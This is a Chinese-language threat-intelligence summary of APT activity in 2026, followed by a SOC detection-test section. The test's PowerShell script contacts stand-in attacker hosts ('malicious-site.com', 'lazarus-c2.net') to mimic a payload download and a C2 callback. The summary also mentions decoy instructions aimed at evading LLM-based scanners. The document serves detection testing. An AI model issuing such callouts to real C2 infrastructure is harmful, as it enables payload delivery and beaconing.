ESET APT 活动报告 2026 年第二季度至第三季度：关键活动和趋势

摘要

本报告概述了 2026 年 4 月至 9 月期间观察到的一系列 APT 活动。主要趋势包括以中国为首的组织针对政府和半导体组织，以伊朗为首的演员如 OilRig 的活动重新活跃，以及朝鲜的活动聚焦于科技和加密货币。报告还注意到以俄罗斯为首和白俄罗斯为首的组织之间的操作协调增加，特别是针对乌克兰的目标。

调查

ESET 研究人员分析了遥测数据以追踪不同地区的多个威胁行为者集群。调查包括识别新的恶意软件家族，检查软件供应链的妥协，以及监控对抗方在工作流程中采用 AI 工具的情况。研究人员还分析了基础设施、工具开发和目标行为变化的模式。

缓解措施

组织应加强软件供应链安全，并监控以招聘为主题的社会工程活动。保护 MDaemon 邮件服务器免遭利用和保护安卓设备免受基于假冒的软件监控也很重要。安全团队在分析可疑脚本和负载时，还应考虑 AI 生成的混淆技术。

响应

当检测到可疑活动时，组织应对脚本、仓库和受影响的软件进行详细的法医分析。事件响应者应考虑 AI 驱动的混淆技术，包括设计用于躲避基于 LLM 扫描器的诱饵指令。潜在的供应链妥协应立即被遏制和调查，以防止更多凭证被盗和未经授权的访问。

模拟执行

• 攻击叙述与命令： 模拟的攻击者旨在模仿 Turla 和 Lazarus Group 的已知指标，以测试 SOC 是否能够检测到特定的硬编码字符串。首先，攻击者通过尝试访问包含特定字符串“Turla’s VBScript Rezzuar”的 URL 来模拟 Turla 风格的负载请求。其次，攻击者通过发送使用高度自定义用户代理字符串“Lazarus Group Recruitment”的 HTTP 请求来模拟 Lazarus Group 的招聘主题钓鱼回调。这模仿了被入侵系统与 C2 或专业钓鱼着陆页面通信的行为。

• 回归测试脚本：

  # Turla TTP 的模拟（URL 匹配）
  Write-Host "[+] 模拟 Turla URL 指标..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Lazarus TTP 的模拟（用户代理匹配）
  Write-Host "[+] 模拟 Lazarus 用户代理指标..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• 清理命令：

  # 由于使用仅内存的网络请求，模拟不会创建持久化的工件。
  Write-Host "[+] 模拟完成。不需要清理。"